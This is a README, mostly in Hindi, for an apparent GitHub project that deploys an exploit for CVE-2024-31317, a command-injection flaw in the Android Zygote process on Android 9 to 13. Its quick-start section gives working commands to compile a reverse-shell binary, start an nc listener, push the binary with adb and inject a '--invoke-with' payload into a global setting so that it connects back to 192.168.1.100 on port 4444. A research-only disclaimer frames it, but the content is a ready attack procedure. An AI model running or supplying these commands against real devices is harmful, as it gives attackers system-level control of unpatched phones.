CVE-2024-31317 Deployer

🔒 सुरक्षा अनुसंधान घोषणा

यह परियोजना केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग अनधिकृत परीक्षण के लिए करना अवैध है। लेखक किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।

📋 अवलोकन

CVE-2024-31317 एक गंभीर सुरक्षा भेद्यता है जो Android 9 से Android 13 तक के उपकरणों को प्रभावित करती है, जो WRITE_SECURE_SETTINGS अनुमति वाले अनुप्रयोगों को कमांड इंजेक्शन के माध्यम से सिस्टम-स्तरीय अनुमति निष्पादन प्राप्त करने की अनुमति देती है। यह परियोजना इस भेद्यता का विस्तृत तकनीकी विश्लेषण, प्रूफ-ऑफ-कॉन्सेप्ट कोड और स्वचालित तैनाती उपकरण प्रदान करती है।

✨ मुख्य विशेषताएँ

• 📱 Android 9-13 के सभी संस्करणों का समर्थन
• 🛠️ स्वचालित तैनाती स्क्रिप्ट
• 🔄 रिवर्स शेल कनेक्शन
• 📊 विस्तृत तकनीकी दस्तावेज़
• 🎯 मॉड्यूलर डिज़ाइन

🐛 भेद्यता विवरण

• CVE ID: CVE-2024-31317
• भेद्यता प्रकार: कमांड इंजेक्शन
• गंभीरता स्तर: उच्च (High)
• CVSS स्कोर: 7.8
• प्रभावित घटक: Android Zygote प्रक्रिया
• सुधार स्थिति: जून 2024 Android सुरक्षा पैच में सुधारा गया

🎯 प्रभाव क्षेत्र

प्रभावित संस्करण

• ✅ Android 9-13

अप्रभावित संस्करण

• ❌ Android 14+ (सुधारा गया)
• ❌ जून 2024 या उसके बाद के सुरक्षा पैच स्थापित करने वाले उपकरण

📁 परियोजना संरचना

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 त्वरित आरंभ

1. परियोजना क्लोन करें

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. पेलोड संकलित करें

chmod +x compile.sh
./compile.sh

3. तैनाती

# 启动监听器
nc -lvnp 4444

# 推送并执行
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# 注入payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# 触发漏洞
adb shell stop && adb shell start

📚 दस्तावेज़

• गहन तकनीकी विश्लेषण
• पेलोड उपयोग निर्देश
• पूर्ण उपयोग ट्यूटोरियल

⚠️ अस्वीकरण

यह परियोजना केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग करने का अर्थ है कि आप सहमत हैं:

• सभी लागू कानूनों और विनियमों का पालन करें
• केवल वैध सुरक्षा अनुसंधान के लिए उपयोग करें
• अपने कार्यों की पूरी जिम्मेदारी लें

📜 लाइसेंस

यह परियोजना MIT लाइसेंस के अंतर्गत है - विवरण के लिए LICENSE फ़ाइल देखें

👨‍💻 लेखक

fcy10012 - GitHub

🙏 आभार

संदर्भ परियोजना: WebLDix/CVE-2024-31317-PoC-Deployer

⭐ यदि यह परियोजना आपके लिए उपयोगी है, तो कृपया इसे एक स्टार दें!